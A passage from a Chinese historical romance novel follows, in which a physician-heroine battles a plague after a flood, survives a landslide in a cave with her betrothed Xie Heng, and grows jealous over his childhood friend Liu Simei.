崔宝珠挤到前面:"大家别急!新粮还在官仓地窖里!"她转向谢珩,"你带人去取?"
谢珩挑眉:"崔大夫使唤人倒顺手。"
"不去算了!"
"...等着。"
当日上午,真正的赈灾粮发放到灾民手中。
崔宝珠又把自己的嫁妆——二百匹绸缎、三车药材和随身带的米粮全部搬出来。
嫁妆绸缎裁成绷带和被单,名贵药材全熬成防疫汤药。
"姑娘使不得啊!"老妇人拉着她的手直抹泪。
"反正婚期耽搁了,"她豪气干云地挥手,"这些就当本姑娘给西南百姓的见面礼!"
她没注意到,谢珩站在人群外,嘴角微微上扬。
三日后,崔宝珠正在临时医棚配药,忽然冲进来几个灾民,抬着个口吐白沫的汉子:"崔大夫!快救人!"
患者面色青紫,浑身抽搐。崔宝珠把脉后脸色大变:"中毒?你们吃了什么?"
"就、就您昨日发的米粥啊!"灾民惶恐道,"今早突然有十几个人这样了!"
敏感的百姓们瞬间炸锅:"姓崔的下毒!"
"怪不得白送我们粮食!"
崔宝珠百口莫辩,急得眼眶发红:"我没有!那米粮是我从京城带来的!"
混乱中,不知谁扔来一块石头,正砸在她额角,登时便见了血。
谢珩闪身挡在她面前,刀鞘"砰"地击飞袭来的石块。
她顾不上计较,快速检查患者症状,突然瞳孔一缩:"不是中毒!是瘟疫!"
撕开患者衣襟,露出胸口的紫斑,"洪灾后的疫症!会传染!"
人群瞬间大乱,哭喊着四散奔逃。谢珩一把拉住要追的崔宝珠:"你干什么?"
"得隔离病患!"她挣扎道,"否则整个明月州都要遭殃!"
他扯下自己的外袍撕成布条,随手折了个面罩。
崔宝珠呆呆看着他。
谢珩不耐烦地把面罩挂在她耳朵上,恶声恶气道:"看什么?你要是染病死了,皇上再送来一个,没准还不如你。"
崔宝珠破涕为笑:“这下知道本姑娘的好了?”
7. 山洞
明月州的清晨笼罩着一层薄雾,崔宝珠蹲在临时搭建的医棚里,额头上的汗珠顺着脸颊滑落。
她面前摆着三本摊开的医书,指尖在泛黄的纸页上急促滑动。
"连翘只剩半斤,藿香连渣都不剩了..."翠微捧着空荡荡的药篓,声音发颤,"小姐,又有五个孩子开始发热了。"
崔宝珠咬住下唇,直到尝到血腥味才松开。
她抬头望向医棚外——二十多个病人躺在草席上,面色灰败如土。
更远处,几个壮年男子手持木棍守在医棚入口,眼神里满是怀疑。
"妖女!就是她下的毒!"一个满脸麻子的妇人突然冲进来,抓起药碾就要砸。
"住手!"谢珩的声音如惊雷炸响。他不知何时出现在门口,刀鞘一横,那妇人踉跄着倒退三步。
崔宝珠没抬头,手指死死掐住医书边角:"赵铁头呢?"
"去清江找人手了。"谢珩在她身旁蹲下,身上还带着昨夜厮杀的血腥气,"鸩鸟船上那些药怎么样?"
"大半是假货。"崔宝珠冷笑一声,翻过一页医书,"掺了麦麸的连翘,染了色的树皮充藿香——这帮人真是把缺德事做绝了。"
谢珩的视线落在她红肿的手指上——那是连夜捣药磨出的水泡。他忽然从怀中掏出个青瓷小瓶:"金疮药。"
"省着点用吧我的少爷。"崔宝珠终于抬头,眼底布满血丝。
谢珩嗤笑,突然抓过她的手强行上药。
药粉沾到伤口的瞬间,崔宝珠"嘶"地抽气,却被他牢牢钳住手腕。
"疼就喊出来。"他拇指抹过她虎口处的裂痕,"又没人笑话你。"
医棚外忽然传来孩童啼哭。
崔宝珠触电般抽回手,抓起医书继续翻找。谢珩看着她绷紧的侧脸,喉结动了动,终究没再说话。
正午时分,崔宝珠突然拍案而起,医书"啪"地合上。
"荆草!"她双眼发亮,指着书页上一幅简笔画,"西南特有的荆草,清热解毒功效不输连翘!"
谢珩凑近看那歪歪扭扭的草图:"后山悬崖就有,但..."
"但什么但!"崔宝珠已经扯过斗篷系上,"翠微,准备药篓!张叔,带上砍刀!"
谢珩一把扣住她手腕:"这几日暴雨,山路塌方了七处。"
"所以呢?"崔宝珠挑眉,"看着他们死?"
两人目光在空中相撞,谢珩先败下阵来。"我陪你去。"
"用不着。"崔宝珠甩开他的手,"你还是坐镇大营,免得..."
"崔宝珠。"谢珩突然连名带姓喊她,声音沉得吓人,"你非要较这个劲?"
翠微抱着药篓站在一旁,眼观鼻鼻观心。最终崔宝珠哼哼一声,算是默许。
二十人的采药队顶着细雨出发。
崔宝珠走在最前,鹿皮靴踩在泥泞山路上"咯吱"作响。
谢珩落后半步,目光始终没离开她摇晃的发髻。
"看路!"他突然拽住崔宝珠后领。她脚前半尺处,一道裂缝横贯山路,深处隐约传来水流轰鸣。
崔宝珠倒吸一口凉气,嘴上却不服软:"我看见了!"
谢珩懒得拆穿,解下腰间绳索系在她腰间,另一头拴在自己手腕上:"要死一起死。"
"谁要跟你一起..."崔宝珠话到一半突然噤声。前方峭壁上,一丛丛锯齿状绿叶在雨中摇曳——正是医书所绘荆草!
"张叔!搭绳梯!"她兴奋地往前冲,却被谢珩拽住绳子扯回来。
"我先试。"他抽出短刀插进岩缝,借力攀上湿滑的崖壁。雨水顺着他的下颌线滴落,肌肉线条在单薄衣衫下若隐若现。
崔宝珠轻咳一声,有点脸热,低头猛扯药篓带子。
忽然听见头顶一声脆响——谢珩刚抓住的岩石整块脱落!
"小心!"她尖叫出声。谢珩在空中拧身,堪堪抓住另一块凸起。碎石簌簌落下,砸在她脚边。
"闭嘴。"谢珩喘着粗气瞪她,"没摔死也要被你吓死。"
崔宝珠正要还嘴,忽觉脚下一震。远处传来闷雷般的轰鸣——不是雷声,是山体滑坡!
"退后!所有人退后!"谢珩大吼着从崖壁跃下。但已经晚了,整片山坡像融化的糖浆般倾泻而下。
崔宝珠脚下一空,腰间绳索陡然绷紧。
她看见谢珩扑来的身影,看见侍卫们惊恐的表情,然后世界天旋地转...
黑暗。疼痛。潮湿的泥土气息。
崔宝珠睁开眼时,发现自己悬在半空——一根老藤缠在腰间,身下是雾气弥漫的深渊。
她试着挣扎,藤蔓立刻发出不祥的"吱嘎"声。
"别动。"熟悉的嗓音从头顶传来。
崔宝珠抬头,看见谢珩倒挂在崖壁上,一手抓着岩缝,一手握着匕首正试图割断缠住她脚踝的荆棘。
"你...你怎么..."崔宝珠声音发颤。
"跟着跳下来的。"谢珩额角有血痕滑落,"闭嘴,别打扰我。"
匕首割断最后一根荆棘时,老藤终于不堪重负地断裂。
崔宝珠惊叫着下坠,却被谢珩凌空接住。
两人顺着泥浆滑下陡坡,最终重重摔进一个山洞。
崔宝珠趴在谢珩胸口,听见他胸腔里剧烈的心跳。
她手忙脚乱地想爬起来,却摸到满手黏腻——他的后背被锐石划开一道狰狞伤口。
"你..." 旧伤没好,又添新伤。
"死不了。"谢珩撑坐起来,突然捂住嘴咳嗽,指缝间渗出暗红血丝。
他迅速抹去血迹,但崔宝珠已经看得一清二楚。
洞外雨声渐密,崔宝珠撕下衣袖给他包扎:"毒发了?"
谢珩瞳孔微缩:"你知道?"
"我是大夫。"她系紧布条,"之前就发现你脉象异常。那包药粉是压制毒素的吧?给虎子用的时候手抖成那样。"
谢珩轻笑:"崔大夫果然..."
"有人!"崔宝珠突然压低声音。山洞深处传来窸窣响动,几个衣衫褴褛的人影畏畏缩缩地靠近。
"别过来!"谢珩瞬间拔刀。
为首的男子突然跪下,"你们见没见过一个孕妇,叫芸娘,她怎么样了
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崔宝珠眯眼——忽然想起芸娘婆母说的,芸娘丈夫在明月州决堤那日失踪了!
"我们不是被洪水冲走的。"芸娘丈夫李忠捧着崔宝珠给的干粮,狼吞虎咽,"是发现了堤坝的秘密..."
明月州堤坝年年修筑,却年年溃决。
那日李忠送药材到堤坝,亲眼看见工头用稻草灰代替粘土填充坝心。
"我们十几个兄弟想去告发,却被衙役骗到山里..."李忠声音哽咽,"他们说山里有粘土矿,结果..."
他扯开衣领,露出颈间狰狞刀疤。
崔宝珠与谢珩对视一眼,同时想到鸩鸟船上的军械。事到如今,已经不是简单的贪腐问题了!
洞外传来喊声,侍卫找到了他们。
绳梯从崖顶垂下,崔宝珠坚持让百姓先上。当最后一位老人抓住绳梯时,山体再次震动。
"快走!"谢珩推着崔宝珠往绳梯去。她刚攀上两阶,一块巨石轰然砸落,绳梯应声而断。
烟尘散去,崔宝珠发现自己又被谢珩护在身下。他嘴角溢出的血已变成不祥的紫黑色。
"没事..."谢珩艰难地支起身子,"一会就好了。"
崔宝珠一把扣住他脉搏,脸色骤变:"这不是普通毒药!是宫里…"
谢珩眼神陡然锐利。崔宝珠却已经翻出随身银针:"别动,我先帮你施针。"
洞外暴雨如注,洞内银针闪着寒光。崔宝珠全神贯注下针,没注意到谢珩凝视她的眼神渐渐柔软。
子夜时分,谢珩开始高热不退。崔宝珠拆下所有能用的衣料浸湿给他降温,却收效甚微。
"冷..."谢珩在昏迷中发抖。崔宝珠咬牙,解开外衫将他搂进怀里。
"你最好活着回去。"她对着昏睡的谢珩喃喃自语,"不然我做鬼天天去你坟头骂街..."
没等她说完,谢珩突然剧烈咳嗽起来,暗红血液不断从口中涌出。
崔宝珠摸到他脉搏已乱得像暴雨,心一横,拔下金簪划开自己手腕。
"你干什么!"谢珩挣扎着要阻止。
"崔家秘法——"她将手腕凑到他唇边,"喝下去。我的血里有解毒丹残留。"
谢珩别开头,被她强行扳回来:"少矫情!又不是让你喝毒药!"
谢珩脸色好转,山洞陷入寂静,只剩雨滴敲打岩石的声音。
崔宝珠垂下眼帘:"别多想啊…权当还你之前就救我的人情。"
两人靠在山壁上,互相依靠着,听着洞外渐歇的雨声。
天光微亮时,救援终于到来。
“还活着吗?”赵铁头的声音传过来。
“赵铁头你皮痒了是不是!”
“活着就好。” 赵铁头嘿嘿一笑,显然松了口气。招呼着带着漕帮兄弟放下绳梯:“上来吧!”
悬崖边的晨雾还未散去,崔宝珠被拉上崖顶时浑身泥泞不堪。
她刚要伸手拍打裙摆上的尘土,忽然听见一阵急促的脚步声。
抬眼望去,一道雪白身影如流云般掠过人群,径直扑向谢珩——
"珩哥哥!"
8. 妹妹
崔宝珠被拉上悬崖时,整个人还晕乎乎的。她挂在藤蔓上晃荡了大半天,这会儿双脚踩着实实在在的土地,反倒觉得脚下发飘。
谢珩的手还牢牢扣在她腰间,像是怕她一个不稳又栽下去。
"谢珩哥哥!" 这声音柔得能掐出水。
崔宝珠还没反应过来,就见一个淡青色身影蝴蝶般扑了过来,直直撞进谢珩怀里。
"思湄?"谢珩的声音明显柔和了八度,扣在崔宝珠腰间的手也不知不觉松开了。
崔宝珠一个踉跄,差点又坐回泥地里。
她抬头打量这个突然冒出来的姑娘——约莫十七八岁,生得极标致。
杏眼樱唇,肤若凝脂,发间只簪了一支素银簪子,却衬得整个人清丽脱俗。
崔宝珠想起皇上也是偏爱江南女子,悄悄与翠微赞道:“南方女子果然婉约!与京城不同!”
此刻柳思湄正拽着谢珩的袖子,眼圈微红,一副泫然欲泣的模样。
"我听说明月州发了瘟疫,怕你出事,特意带了些药材来......"
说着,目光转向崔宝珠,立刻露出甜美的笑容,"这位就是嫂嫂吧?我早就想见见了!"
崔宝珠眨了眨眼。嫂嫂?这称呼倒是新鲜。
她在京城时,那些贵女们要么阴阳怪气地喊她"崔大小姐",要么假惺惺地称她"宝珠妹妹",还从没人这么亲热地叫她"嫂嫂"呢。
"柳姑娘客气了。"崔宝珠拍了拍裙摆上的泥点子,随口应道:"我还没嫁进谢家,当不起这声''嫂嫂''。"
谢珩瞥了她一眼,没说话。
柳思湄却亲热地挽住她的手臂:"嫂嫂别见外,叫我思湄就好!我和谢珩哥哥从小一起长大,他就像我亲哥哥一样。"
崔宝珠"哦"了一声,突然福至心灵:"那以后咱们就是一家人了!"
转头对谢珩挤挤眼睛,"你可真是好福气!有这么个如花似玉的妹妹,将来再纳进门做妾室,岂不是亲上加亲?"
谢珩的脸色瞬间黑如锅底。
柳思湄的笑容僵在脸上,耳根却悄悄红了:"嫂嫂说笑了......"
"谁跟你说笑?"崔宝珠大大咧咧地摆手,"我在京城时,那些世家公子哪个不是三妻四妾?谢珩若是只娶我一个,反倒显得我不贤惠了。"
她越说越觉得有道理,"思湄妹妹懂医术又温柔,以后有你照顾他,我也省心!"
谢珩的拳头捏得咯咯作响:"崔、宝、珠。"
"啊?"崔宝珠一脸茫然,"我说错什么了?"
谢珩深吸一口气,突然拽过柳思湄的手腕:"思湄,带我去看看你带来的药材。"说完头也不回地走了,留下崔宝珠站在原地挠头。
"小姐......"翠微欲言又止。
"怎么了?"崔宝珠莫名其妙,"我说错话了?"
翠微张了张嘴,最终叹了口气:"没什么,您去换身衣裳吧。"
崔宝珠点点头,临走前又看了眼谢珩和柳思湄的背影——
两人站在药材车前,谢珩微微低头听柳思湄说话,侧脸线条在阳光下格外清晰。
柳思湄不知说了什么,竟伸手替他拂去肩头的一片落叶。
"还挺般配。"崔宝珠嘀咕一句,转身走了。
崔宝珠换好干净衣裳出来时,明月州城门口已经搭起了新的医棚。
柳思湄带来的十几车药材整齐堆放在一旁,几个药童正在分拣。她踮脚张望,看见谢珩站在柳思湄身边,两人头挨得很近,正在看一本册子。
"崔姑娘。"
一道油滑男声从身后传来。崔宝珠回头,看见周汲摇着折扇站在那里。他今日换了身月紫色锦袍,发冠上缀着颗拇指大的南海珠,活像个大号的扑棱蛾子。
"有事?"崔宝珠忍住笑意,随口问道。
周汲目光在她脸上转了一圈,笑道:"听说崔姑娘方才遇险,在下特来问候。"
他从袖中取出一个精巧的鎏金盒子,"这是家父从西域带回的雪莲膏,对跌打损伤有奇效。"
崔宝珠刚要推辞,余光瞥见谢珩正往这边看。
她眼珠一转,突然接过盒子,声音提高八度:"周公子真贴心!我在京城时就听说周侍郎府上珍宝无数,今日一见果然......"
"崔宝珠。"谢珩不知何时已经走到跟前,脸色阴沉得能滴出水来,"过来帮忙分药。"
"谢二公子没看见我正忙着吗?"崔宝珠晃了晃手中的盒子,"周公子特意来给我送药呢。"
谢珩的眼神冷得像刀子:"药棚缺人手。"
"思湄妹妹不是在帮你吗?"崔宝珠冲柳思湄招招手,"我看你们配合得挺好,我就不去添乱了。"
柳思湄款款走来,柔声道:"嫂嫂若是累了就歇着,这些粗活我来做就好。"
"你看看!"崔宝珠用胳膊肘捅了捅谢珩,"多懂事的姑娘!还是你有福气!"
谢珩觉得自己太阳穴突突直跳,一把拽过崔宝珠的手腕:"跟我来。"
"哎哎哎你干什么!周公子还......"
崔宝珠话没说完就被拖走了。谢珩走得飞快,她跌跌撞撞跟着,直到被按在药棚角落的矮凳上。
"裤子撩起来。"谢珩冷声道。
"啊?"
谢珩从怀中取出金疮药,"还是说,你更想让周汲来?"
崔宝珠撇撇嘴,卷起裤腿。膝盖上的擦伤已经结了一层薄痂,周围泛着青紫。
谢珩蹲下身,沾了药膏的指尖轻轻按在伤处。
"嘶——轻点!"
"现在知道疼了?"谢珩冷笑,"方才不是挺高兴的?"
崔宝珠刚要顶嘴,忽然发现谢珩的睫毛很长。他低着头,睫毛在眼下投出一小片阴影,鼻梁高挺,唇线紧绷。她鬼使神差地伸手,戳了戳他的脸颊。
"做什么?"谢珩一把抓住她作乱的手指。
"你长得确实好看。"崔宝珠实话实说,"难怪思湄妹妹喜欢你。"
谢珩手上的力道骤然加重:"崔宝珠,你......"
"谢珩哥哥!"柳思湄的声音从药棚外传来,"药材清点好了,你来确认一下。"
谢珩深吸一口气,松开崔宝珠:"少说话。"说完大步走了出去。
崔宝珠耸耸肩,一瘸一拐地挪到药棚门口偷看。柳思湄正指着账册对谢珩说着什么,时不时掩唇轻笑。谢珩虽然还是那副冷脸,但神色明显比平时柔和。
"还挺配......"她嘀咕着,突然被人从后面拍了下肩膀。
"崔姑娘在看什么这么入神?"周汲不知何时又凑了过来,顺着她的目光看去,了然一笑,"原来如此。谢二公子与柳姑娘青梅竹马,在西南可是人尽皆知的美谈。"
"是吗?"崔宝珠来了兴趣,"你知道他们怎么认识的吗?"
周汲压低声音:"听说谢二公子幼时中过奇毒,是柳家父女救了他。这些年柳姑娘一直随父亲在西南行医,二人常有往来。"他意味深长地补充,"若非皇上突然赐婚,谢家怕是早就要去柳家提亲了。"
崔宝珠"哦"了一声,心里莫名有点闷闷的。她甩甩头,把这奇怪的感觉抛到脑后:"走,周公子,我带你去看看明月州的灾情。"
接下来的几日,崔宝珠刻意避开了所有可能与谢珩独处的机会。
早晨谢珩来查房,她就说要去给重症病人换药;
中午谢珩来送饭,她正好"偶遇"周汲去河边散步;
晚上谢珩来巡夜,她早就裹着被子装睡。
倒是周汲,见缝插针地献殷勤。今天送盒胭脂,明天带包蜜饯,后天又不知从哪弄来几本闲书。崔宝珠来者不拒,权当解闷。
"崔姑娘,尝尝这个。"周汲递上一块精致的点心,"芙蓉酥,京城的味道。"
崔宝珠接过咬了一口,眼睛一亮:"真是福满楼的!你怎么带来的?"
"特地走的水路,快。"周汲笑道,"知道崔姑娘想家。"
崔宝珠正要道谢,忽然感觉背后一凉。她回头,看见谢珩站在十步开外,手里端着药碗,脸色阴沉得吓人。
"喝药
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。"谢珩走过来,把碗往她手里一塞。
"我又没病,喝什么药......"
"预防瘟疫。"谢珩冷声道,"还是说,你更想喝周公子送的''补药''?"
崔宝珠被呛得说不出话,赌气似的一口闷了汤药。苦得她整张脸都皱成一团,眼泪差点掉下来。
"给。"周汲适时递上芙蓉酥,"压压苦味。"
崔宝珠刚要接过,谢珩突然劈手夺过点心,塞进自己嘴里。
"谢珩!你发什么疯!"崔宝珠跳起来。
"我想吃。"谢珩冷冷扫了周汲一眼,没好气道。
周汲脸色变了变,又堆满笑意,递上糕点盒子:"这还有。"
"饱了!"谢珩一把拉起崔宝珠,"走了,重症区还有病人等着。"
崔宝珠被拽着走出老远,还能听见周汲在后面喊:"宝珠姑娘,明日我再来看你!"
"你有病啊?"崔宝珠甩开谢珩的手,"谁招你惹你了?"
谢珩盯着她看了半晌,突然冷笑:"崔宝珠,你脑子里装的都是浆糊吗?"
"你才......"
"周汲是什么人,你心里没数?"谢珩逼近一步。
崔宝珠当然知道。周汲好色成性,府里通房丫鬟就有七八个,还经常出入烟花之地。反正她又不会嫁给周汲,这些和她有什么关系。
"我知道啦!"她别过脸,摆摆手:"你怎么突然像我爹似的。"
谢珩突然捏住她的下巴,强迫她抬头:"崔宝珠,你看清楚了。"他一字一顿地说,"我、是、谁。"
崔宝珠被他突如其来的动作吓住了。谢珩的眼睛在阳光下呈现出一种深邃的琥珀色,里面翻涌着她看不懂的情绪。两人距离近得能感受到彼此的呼吸,她甚至闻到了谢珩身上淡淡的药香。
"你...你是谢珩啊......"她结结巴巴地说。
谢珩闭了闭眼,松开手:"算了。"他转身就走,"对牛弹琴。"
崔宝珠呆呆站在原地,摸了摸还在发烫的下巴,心跳莫名快了几拍。
瘟疫在第五天彻底爆发。
医棚里挤满了病人,哀嚎声不绝于耳。崔宝珠熬红了眼,可药材依旧不够。
"必须分轻重缓急。"谢珩站在医棚中央,声音冷静,"轻症者优先用药,重症者暂时移到城外隔离。"
崔宝珠猛地抬头:"不行!重症者若不及时救治,必死无疑!"
谢珩皱眉:"药材有限,救轻症者存活率更高。"
"那重症者就该等死吗?!"崔宝珠拍案而起,"岂能见死不救?"
谢珩眼神微冷:"这不是京城,没有取之不尽的药材。若因救治重症而耗尽药材,轻症者也会转为重症,到时候死的人更多!"
崔宝珠咬紧牙关:"那就想办法找更多的药!"
"崔姐姐......"柳思湄柔声插话,"谢珩哥哥也是为大家着想。况且,重症者移到城外,我们也会派人照顾的......"
"你懂什么?!"崔宝珠厉声打断她,"城外条件简陋,他们撑不过三日!"
登时,柳思湄眼圈一红。
"不...不是,我不是冲着你。" 崔宝珠烦躁地一跺脚,转身冲出医棚。
她独自坐在河边,盯着湍急的河水发呆。
她知道谢珩说的有道理。在药材有限的情况下,优先救治轻症确实是更理智的选择。可她就是没法眼睁睁看着那些重症病人被放弃。
"嫂嫂怎么一个人在这儿?喝点茶暖暖身子吧。"柳思湄不知何时又凑了过来,手里还端着一碗热茶,"思湄方才不是故意顶撞,请嫂嫂别生气。"
崔宝珠懒得理她,可喉咙确实干涩得厉害,便接过茶碗喝了一口。
当晚,崔宝珠开始发热。
起初她以为是累着了,可到了半夜,她浑身滚烫,头疼欲裂,连呼吸都变得困难。
"小姐!"翠微吓得声音都变了,"您是不是染上瘟疫了?!"
崔宝珠强撑着坐起来:"别声张......"